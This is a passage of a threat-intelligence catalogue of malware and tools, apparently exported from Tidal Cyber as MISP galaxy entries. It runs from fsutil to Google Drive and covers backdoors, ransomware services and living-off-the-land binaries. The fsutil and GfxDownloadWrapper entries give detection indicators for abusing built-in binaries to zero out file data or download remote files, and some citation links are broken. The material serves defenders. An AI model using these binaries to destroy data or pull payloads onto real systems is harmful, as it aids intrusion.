Resources: * https://twitter.com/0gtweet/status/1720724516324704404

Detection: * IOC: fsutil.exe should not be run on a normal workstation * IOC: file setZeroData (not case-sensitive) in the process arguments * IOC: Sysmon Event ID 1 * IOC: Execution of process fsutil.exe with trace decode could be suspicious * IOC: Non-Windows netsh.exe execution * Sigma: [proc_creation_win_susp_fsutil_usage.yml]([Fsutil.exe - LOLBAS Project(/references/e2305dac-4245-4fac-8813-69cb210e9cd3)]</sup>

The tag is: *misp-galaxy:software="Fsutil"*

ftp

[ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.^{[[Microsoft FTP](https://app.tidalcyber.com/references/970f8d16-f5b7-44e2-b81f-738b931c60d9)]}^{[[Linux FTP](https://app.tidalcyber.com/references/021ea6bc-abff-48de-a6bb-315dbbfa6147)]}

The tag is: *misp-galaxy:software="ftp"*

FudModule

FudModule is a rootkit whose capabilities focus on obtaining kernel access and avoiding detection.^{[[Microsoft Security Blog August 30 2024](/references/d7ef2e80-30c0-47ce-91d4-db1690c6c689)]}

The tag is: *misp-galaxy:software="FudModule"*

FunkSec Ransomware

Researchers describe FunkSec as an actor group that exhibits both hacktivist and financially motivated tendencies. The group has gained research community attention for its apparent use of artificial intelligence ("AI") to augment its operations. FunkSec advertises a Ransomware-as-a-Service (RaaS) offering that features a custom encryptor malware. Security researchers highlighted evidence that suggested AI may have contributed to the group's tool development.^{[[Check Point Research January 10 2025](/references/8f64819e-dc3d-48da-a84d-14eaacb0d61e)]}

The tag is: *misp-galaxy:software="FunkSec Ransomware"*

FunnyDream

[FunnyDream](https://app.tidalcyber.com/software/d0490e1d-8287-44d3-8342-944d1203b237) is a backdoor with multiple components that was used during the [FunnyDream](https://app.tidalcyber.com/campaigns/94587edf-0292-445b-8c66-b16629597f1e) campaign since at least 2019, primarily for execution and exfiltration.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]}

The tag is: *misp-galaxy:software="FunnyDream"*

FYAnti

[FYAnti](https://app.tidalcyber.com/software/be9a2ae5-373a-4dee-9c1e-b54235dafed0) is a loader that has been used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) since at least 2020, including to deploy [QuasarRAT]([Securelist APT10 March 2021 (https://app.tidalcyber.com/references/90450a1e-59c3-491f-b842-2cf81023fc9e)]</sup>

The tag is: *misp-galaxy:software="FYAnti"*

Fysbis

[Fysbis](https://app.tidalcyber.com/software/317a7647-aee7-4ce1-a8f8-33a61190f55d) is a Linux-based backdoor used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) that dates back to at least 2014.^{[[Fysbis Palo Alto Analysis](https://app.tidalcyber.com/references/3e527ad6-6b56-473d-8178-e1c3c14f2311)]}

The tag is: *misp-galaxy:software="Fysbis"*

Gamarue

Gamarue is a longstanding family of malicious software which can provide backdoor access to a system. Researchers have observed Gamarue variants with worm-like redistribution capabilities. Gamarue is often observed being delivered via exploit kits, as an attachment to a spam email, or via USB or other removable media.^{[[microsoft.com April 2 2012](/references/de44abcc-9467-4c63-b0c4-c3a3b282ae39)]}

The tag is: *misp-galaxy:software="Gamarue"*

Gazer

[Gazer](https://app.tidalcyber.com/software/7a60b984-b0c8-4acc-be24-841f4b652872) is a backdoor used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2016. ^{[[ESET Gazer Aug 2017](https://app.tidalcyber.com/references/9d1c40af-d4bc-4d4a-b667-a17378942685)]}

The tag is: *misp-galaxy:software="Gazer"*

gdrive

gdrive is a command line application for interacting with Google Drive.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}^{[[GitHub December 29 2022](/references/0245b28e-21a4-4da2-8f0d-064277dfcbbc)]}

The tag is: *misp-galaxy:software="gdrive"*

Gelsemium

[Gelsemium](https://app.tidalcyber.com/software/9a117508-1d22-4fea-aa65-db670c13a5c9) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://app.tidalcyber.com/software/9a117508-1d22-4fea-aa65-db670c13a5c9) has been used by the Gelsemium group since at least 2014.^{[[ESET Gelsemium June 2021](https://app.tidalcyber.com/references/ea28cf8c-8c92-48cb-b499-ffb7ff0e3cf5)]}

The tag is: *misp-galaxy:software="Gelsemium"*

GeminiDuke

[GeminiDuke](https://app.tidalcyber.com/software/97f32f68-dcd2-4f80-9967-cc87305dc342) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2009 to 2012. ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="GeminiDuke"*

Get2

[Get2](https://app.tidalcyber.com/software/a997aaaf-edfc-4489-80a9-3f8d64545de1) is a downloader written in C++ that has been used by [TA505](https://app.tidalcyber.com/groups/b3220638-6682-4a4e-ab64-e7dc4202a3f1) to deliver [FlawedGrace](https://app.tidalcyber.com/software/c558e948-c817-4494-a95d-ad3207f10e26), [FlawedAmmyy](https://app.tidalcyber.com/software/308dbe77-3d58-40bb-b0a5-cd00f152dc60), Snatch and [SDBbot]([Proofpoint TA505 October 2019 (https://app.tidalcyber.com/references/711ea2b3-58e2-4b38-aa71-877029c12e64)]</sup>

The tag is: *misp-galaxy:software="Get2"*

GfxDownloadWrapper

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.

Author: Jesus Galvez

Paths: * c:\windows\system32\driverstore\filerepository\64kb6472.inf_amd64_3daef03bbe98572b\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_0e9c57ae3396e055\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_209bd95d56b1ac2d\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_3fa2a843f8b7f16d\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_85c860f05274baa0\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_f7412e3e3404de80\ *
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_feb9f1cf05b0de58\ *
c:\windows\system32\driverstore\filerepository\cui_component.inf_amd64_0219cc1c7085a93f\ *
c:\windows\system32\driverstore\filerepository\cui_component.inf_amd64_df4f60b1cae9b14a\ *
c:\windows\system32\driverstore\filerepository\cui_dc_comp.inf_amd64_16eb18b0e2526e57\ *
c:\windows\system32\driverstore\filerepository\cui_dc_comp.inf_amd64_1c77f1231c19bc72\ *
c:\windows\system32\driverstore\filerepository\cui_dc_comp.inf_amd64_31c60cc38cfcca28\ *
c:\windows\system32\driverstore\filerepository\cui_dc_comp.inf_amd64_82f69cea8b2d928f\ *
c:\windows\system32\driverstore\filerepository\cui_dc_comp.inf_amd64_b4d94f3e41ceb839\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_0606619cc97463de\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_0e95edab338ad669\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_22aac1442d387216\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_2461d914696db722\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_29d727269a34edf5\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_2caf76dbce56546d\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_353320edb98da643\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_4ea0ed0af1507894\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_56a48f4f1c2da7a7\ *

c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_64f23fdadb76a511\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_668dd0c6d3f9fa0e\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_6be8e5b7f731a6e5\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_6dad7e4e9a8fa889\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_6df442103a1937a4\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_767e7683f9ad126c\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_8644298f665a12c4\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_868acf86149aef5d\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_92cf9d9d84f1d3db\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_93239c65f222d453\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_9de8154b682af864\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_a7428663aca90897\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_ad7cb5e55a410add\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_afbf41cf8ab202d7\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_d193c96475eaa96e\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_db953c52208ada71\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_e7523682cc7528cc\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_e9f341319ca84274\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_f3a64c75ee4defb7\ *
c:\windows\system32\driverstore\filerepository\cui_dch.inf_amd64_f51939e52b944f4b\ *
c:\windows\system32\driverstore\filerepository\cui_dch_comp.inf_amd64_4938423c9b9639d7\ *
c:\windows\system32\driverstore\filerepository\cui_dch_comp.inf_amd64_c8e108d4a62c59d5\ *
c:\windows\system32\driverstore\filerepository\cui_dch_comp.inf_amd64_deecec7d232ced2b\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_01ee1299f4982efe\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_02edfc87000937e4\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_0541b698fc6e40b0\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_0707757077710fff\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_0b3e3ed3ace9602a\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_0cff362f9dff4228\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_16ed7d82b93e4f68\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_1a33d2f73651d989\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_1aca2a92a37fce23\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_1af2dd3e4df5fd61\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_1d571527c7083952\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_23f7302c2b9ee813\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_24de78387e6208e4\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_250db833a1cd577e\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_25e7c5a58c052bc5\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_28d80681d3523b1c\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_2dda3b1147a3a572\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_31ba00ea6900d67d\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_329877a66f240808\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_42af9f4718aa1395\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_4645af5c659ae51a\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_48c2e68e54c92258\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_48e7e903a369eae2\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_491d20003583dabe\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_4b34c18659561116\ *

c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_51ce968bf19942c2\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_555cfc07a674ecdd\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_561bd21d54545ed3\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_579a75f602cc2dce\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_57f66a4f0a97f1a3\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_587befb80671fb38\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_62f096fe77e085c0\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_6ae0ddbb4a38e23c\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_6bb02522ea3fdb0d\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_6d34ac0763025a06\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_712b6a0adbaabc0a\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_78b09d9681a2400f\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_842874489af34daa\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_88084eb1fe7cebc3\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_89033455cb08186f\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_8a9535cd18c90bc3\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_8c1fc948b5a01c52\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_9088b61921a6ff9f\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_90f68cd0dc48b625\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_95cb371d046d4b4c\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_a58de0cf5f3e9dca\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_abe9d37302f8b1ae\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_acb3edda7b82982f\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_aebc5a8535dd3184\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_b5d4c82c67b39358\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_b846bbf1e81ea3cf\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_babb2e8b8072ff3b\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_bc75cebf5edbbc50\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_be91293cf20d4372\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_c11f4d5f0bc4c592\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_c4e5173126d31cf0\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_c4f600ffe34acc7b\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_c8634ed19e331cda\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_c9081e50bcffa972\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_ceddadac8a2b489e\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_d4406f0ad6ec2581\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_d5877a2e0e6374b6\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_d8ca5f86add535ef\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_e8abe176c7b553b5\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_eabb3ac2c517211f\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_f8d8be8fea71e1a0\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_fe5e116bb07c0629\ *
c:\windows\system32\driverstore\filerepository\igdlh64.inf_amd64_fe73d2ebaa05fb95\ *
c:\windows\system32\driverstore\filerepository\igdlh64_kbl_kit127397.inf_amd64_e1da8ee9e92ccadb\ * c:\windows\system32\driverstore\filerepository\k127153.inf_amd64_364f43f2a27f7bd7\ *
c:\windows\system32\driverstore\filerepository\k127153.inf_amd64_3f3936d8dec668b8\ *
c:\windows\system32\driverstore\filerepository\k127793.inf_amd64_3ab7883eddccbf0f\ *
c:\windows\system32\driverstore\filerepository\ki129523.inf_amd64_32947eecf8f3e231\ *

c:\windows\system32\driverstore\filerepository\ki126950.inf_amd64_fa7f56314967630d\ *
c:\windows\system32\driverstore\filerepository\ki126951.inf_amd64_94804e3918169543\ *
c:\windows\system32\driverstore\filerepository\ki126973.inf_amd64_06dde156632145e3\ *
c:\windows\system32\driverstore\filerepository\ki126974.inf_amd64_9168fc04b8275db9\ *
c:\windows\system32\driverstore\filerepository\ki127005.inf_amd64_753576c4406c1193\ *
c:\windows\system32\driverstore\filerepository\ki127018.inf_amd64_0f67ff47e9e30716\ *
c:\windows\system32\driverstore\filerepository\ki127021.inf_amd64_0d68af55c12c7c17\ *
c:\windows\system32\driverstore\filerepository\ki127171.inf_amd64_368f8c7337214025\ *
c:\windows\system32\driverstore\filerepository\ki127176.inf_amd64_86c658cabfb17c9c\ *
c:\windows\system32\driverstore\filerepository\ki127390.inf_amd64_e1ccb879ece8f084\ *
c:\windows\system32\driverstore\filerepository\ki127678.inf_amd64_8427d3a09f47dfc1\ *
c:\windows\system32\driverstore\filerepository\ki127727.inf_amd64_cf8e31692f82192e\ *
c:\windows\system32\driverstore\filerepository\ki127807.inf_amd64_fc915899816dbc5d\ *
c:\windows\system32\driverstore\filerepository\ki127850.inf_amd64_6ad8d99023b59fd5\ *
c:\windows\system32\driverstore\filerepository\ki128602.inf_amd64_6ff790822fd674ab\ *
c:\windows\system32\driverstore\filerepository\ki128916.inf_amd64_3509e1eb83b83cfb\ *
c:\windows\system32\driverstore\filerepository\ki129407.inf_amd64_f26f36ac54ce3076\ *
c:\windows\system32\driverstore\filerepository\ki129633.inf_amd64_d9b8af875f664a8c\ *
c:\windows\system32\driverstore\filerepository\ki129866.inf_amd64_e7cdca9882c16f55\ *
c:\windows\system32\driverstore\filerepository\ki130274.inf_amd64_bafd2440fa1ffdd6\ *
c:\windows\system32\driverstore\filerepository\ki130350.inf_amd64_696b7c6764071b63\ *
c:\windows\system32\driverstore\filerepository\ki130409.inf_amd64_0d8d61270dfb4560\ *
c:\windows\system32\driverstore\filerepository\ki130471.inf_amd64_26ad6921447aa568\ *
c:\windows\system32\driverstore\filerepository\ki130624.inf_amd64_d85487143eec5e1a\ *
c:\windows\system32\driverstore\filerepository\ki130825.inf_amd64_ee3ba427c553f15f\ *
c:\windows\system32\driverstore\filerepository\ki130871.inf_amd64_382f7c369d4bf777\ *
c:\windows\system32\driverstore\filerepository\ki131064.inf_amd64_5d13f27a9a9843fa\ *
c:\windows\system32\driverstore\filerepository\ki131176.inf_amd64_fb4fe914575fdd15\ *
c:\windows\system32\driverstore\filerepository\ki131191.inf_amd64_d668106cb6f2eae0\ *
c:\windows\system32\driverstore\filerepository\ki131622.inf_amd64_0058d71ace34db73\ *
c:\windows\system32\driverstore\filerepository\ki132032.inf_amd64_f29660d80998e019\ *
c:\windows\system32\driverstore\filerepository\ki132337.inf_amd64_223d6831ffa64ab1\ *
c:\windows\system32\driverstore\filerepository\ki132535.inf_amd64_7875dff189ab2fa2\ *
c:\windows\system32\driverstore\filerepository\ki132544.inf_amd64_b8c1f31373153db4\ *
c:\windows\system32\driverstore\filerepository\ki132574.inf_amd64_54c9b905b975ee55\ *
c:\windows\system32\driverstore\filerepository\ki132869.inf_amd64_052eb72d070df60f\ *
c:\windows\system32\driverstore\filerepository\kit126731.inf_amd64_1905c9d5f38631d9\

Resources: * https://www.sothis.tech/author/jgalvez/

Detection: * Sigma: [proc_creation_win_lolbin_gfxdownloadwrapper_file_download.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_gfxdownloadwrapper_file_download.yml) * IOC: [Usually GfxDownloadWrapper downloads a JSON file from https://gameplayapi.intel.com.](Usually GfxDownloadWrapper downloads a JSON file from [GfxDownloadWrapper.exe - LOLBAS Project(/references/5d97b7d7-428e-4408-a4d3-00f52cf4bf15)]</sup>

The tag is: *misp-galaxy:software="GfxDownloadWrapper"*

gh0st RAT

[gh0st RAT](https://app.tidalcyber.com/software/269ef8f5-35c8-44ba-afe4-63f4c6431427) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.^{[[FireEye Hacking Team](https://app.tidalcyber.com/references/c1e798b8-6771-4ba7-af25-69c640321e40)]}^{[[Arbor Musical Chairs Feb 2018](https://app.tidalcyber.com/references/bddf44bb-7a0a-498b-9831-7b73cf9a582e)]}^{[[Nccgroup Gh0st April 2018](https://app.tidalcyber.com/references/4476aa0a-b1ef-4ac6-9e44-5721a0b3e92b)]}

The tag is: *misp-galaxy:software="gh0st RAT"*

GhostLocker

GhostLocker is a sophisticated ransomware-as-a-service (RaaS) framework developed by the GhostSec hacktivist group and promoted through a Telegram channel at an initial price of $999.00. The ransomware builder offers several options to select from such as kill processes, disable services, ransom amount, directories to encrypt, remove background, and delete malicious binaries.^{[[Cisco Talos Blog March 5 2024](/references/bcdd2d44-a47a-4749-b61b-025086011f17)]}^{[[SOCRadar® Cyber Intelligence Inc. October 18 2023](/references/088091e9-4c9c-44ed-99e6-0489eec57c98)]}^{[[Uptycs Inc November 3 2023](/references/2a3638f7-86a0-41e5-a3f3-ad2918cb4ad4)]}

The tag is: *misp-galaxy:software="GhostLocker"*

GhostPresser

GhostPresser is a tool associated with the GhostSec threat group. It functions as an admin bypass and hacking tool specifically targeting the WordPress content management system. This shell script was allegedly utilized by GhostSec in an XSS attack against legitimate websites.^{[[Cisco Talos Blog March 5 2024](/references/bcdd2d44-a47a-4749-b61b-025086011f17)]}

The tag is: *misp-galaxy:software="GhostPresser"*

GhostSec Deep Scan Tool

The GhostSec deep scan toolset is a Python utility that an attacker can use to scan the websites of their potential targets.^{[[Cisco Talos Blog March 5 2024](/references/bcdd2d44-a47a-4749-b61b-025086011f17)]}

The tag is: *misp-galaxy:software="GhostSec Deep Scan Tool"*

GHOSTTOWN

GHOSTTOWN is a utility used by the suspected China-nexus cyber espionage actor UNC3886.<sup>[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-

ddc6c77c53ee)]</sup>

The tag is: *misp-galaxy:software="GHOSTTOWN"*

GitHub

GitHub is a web-based platform used for version control and collaboration on software development projects. It provides tools for developers to host and review code, manage projects, track changes, and collaborate with other team members or contributors. GitHub uses Git, a distributed version control system, allowing developers to track changes made to code over time, revert to previous versions if needed, and work on code collaboratively with others. It is widely used by individuals, open-source projects, and businesses to streamline software development processes and facilitate collaboration among developers worldwide.^{[[GitHub August 19 2022](/references/4cc12541-257b-419f-a2d8-139449324f19)]}

The tag is: *misp-galaxy:software="GitHub"*

GLASSTOKEN

[GLASSTOKEN](https://app.tidalcyber.com/software/5c1a1ce5-927c-5c79-8a14-2789756d41ee) is a custom web shell used by threat actors during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to execute commands on compromised Ivanti Secure Connect VPNs.^{[[Volexity Ivanti Zero-Day Exploitation January 2024](https://app.tidalcyber.com/references/93eda380-ea21-59e0-97e8-5bec1f9a0e71)]}

The tag is: *misp-galaxy:software="GLASSTOKEN"*

GLOOXMAIL

[GLOOXMAIL](https://app.tidalcyber.com/software/09fdec78-5253-433d-8680-294ba6847be9) is malware used by [APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f) that mimics legitimate Jabber/XMPP traffic. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="GLOOXMAIL"*

GMER

GMER is a tool used to remove rootkits.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="GMER"*

GoBear

[GoBear](https://app.tidalcyber.com/software/1e08331a-95d6-57f6-8dd2-115e2f5b83d4) is a Go-based backdoor that abuses legitimate, stolen certificates for defense evasion purposes.

[GoBear](https://app.tidalcyber.com/software/1e08331a-95d6-57f6-8dd2-115e2f5b83d4) is exclusively linked to [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) operations.^{[[S2W Troll Stealer 2024](https://app.tidalcyber.com/references/5fbb0dcb-c882-597f-ade8-4b8afb8b55a8)]}^{[[Symantec Troll Stealer 2024](https://app.tidalcyber.com/references/ebb98b4b-062a-5b48-8318-e5f1244f907c)]}

The tag is: *misp-galaxy:software="GoBear"*

GodPotato

GodPotato is an open-source tool used for privilege escalation.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="GodPotato"*

Gold Dragon

[Gold Dragon](https://app.tidalcyber.com/software/348fdeb5-6a74-4803-ac6e-e0133ecd7263) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://app.tidalcyber.com/software/348fdeb5-6a74-4803-ac6e-e0133ecd7263) was used along with [Brave Prince](https://app.tidalcyber.com/software/51b27e2c-c737-4006-a657-195ea1a1f4f0) and [RunningRAT](https://app.tidalcyber.com/software/e8afda1f-fa83-4fc3-b6fb-7d5daca7173f) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. ^{[[McAfee Gold Dragon](https://app.tidalcyber.com/references/4bdfa92b-cbbd-43e6-aa3e-422561ff8d7a)]}

The tag is: *misp-galaxy:software="Gold Dragon"*

GoldenSpy

[GoldenSpy](https://app.tidalcyber.com/software/1b135393-c799-4698-a880-c6a86782adee) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://app.tidalcyber.com/software/1b135393-c799-4698-a880-c6a86782adee) was discovered targeting organizations in China, being delivered with the "Intelligent Tax" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.^{[[Trustwave GoldenSpy June 2020](https://app.tidalcyber.com/references/2a27a2ea-2815-4d97-88c0-47a6e04e84f8)]}

The tag is: *misp-galaxy:software="GoldenSpy"*

GoldFinder

[GoldFinder](https://app.tidalcyber.com/software/4e8c58c5-443e-4f73-91e9-89146f04e307) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://app.tidalcyber.com/software/4e8c58c5-443e-4f73-91e9-89146f04e307) was

discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a) by [APT29]([MSTIC NOBELIUM Mar 2021(https://app.tidalcyber.com/references/8688a0a9-d644-4b96-81bb-031f1f898652)]</sup>

The tag is: *misp-galaxy:software="GoldFinder"*

GoldMax

[GoldMax](https://app.tidalcyber.com/software/b05a9763-4288-4656-bf4e-ba02bb8b35d6) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://app.tidalcyber.com/software/b05a9763-4288-4656-bf4e-ba02bb8b35d6) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a), and has likely been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least mid-2019. [GoldMax](https://app.tidalcyber.com/software/b05a9763-4288-4656-bf4e-ba02bb8b35d6) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.^{[[MSTIC NOBELIUM Mar 2021](https://app.tidalcyber.com/references/8688a0a9-d644-4b96-81bb-031f1f898652)]}^{[[FireEye SUNSHUTTLE Mar 2021](https://app.tidalcyber.com/references/1cdb8a1e-fbed-4db3-b273-5f8f45356dc1)]}^{[[CrowdStrike StellarParticle January 2022](https://app.tidalcyber.com/references/149c1446-d6a1-4a63-9420-def9272d6cb9)]}

The tag is: *misp-galaxy:software="GoldMax"*

Gomir

Gomir is a Linux backdoor variant of the Go-based malware [GoBear](https://app.tidalcyber.com/software/1e08331a-95d6-57f6-8dd2-115e2f5b83d4), uniquely assoicated with [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) operations.^{[[Symantec Troll Stealer 2024](https://app.tidalcyber.com/references/ebb98b4b-062a-5b48-8318-e5f1244f907c)]}

The tag is: *misp-galaxy:software="Gomir"*

Google Drive

Google Drive is a cloud-based storage service used to store files.^{[[Drive.google.com December 10 2024](/references/5aa2fad0-bfb1-496f-8d33-cc05fd6a0076)]}

The tag is: *misp-galaxy:software="Google Drive"*

Goopy

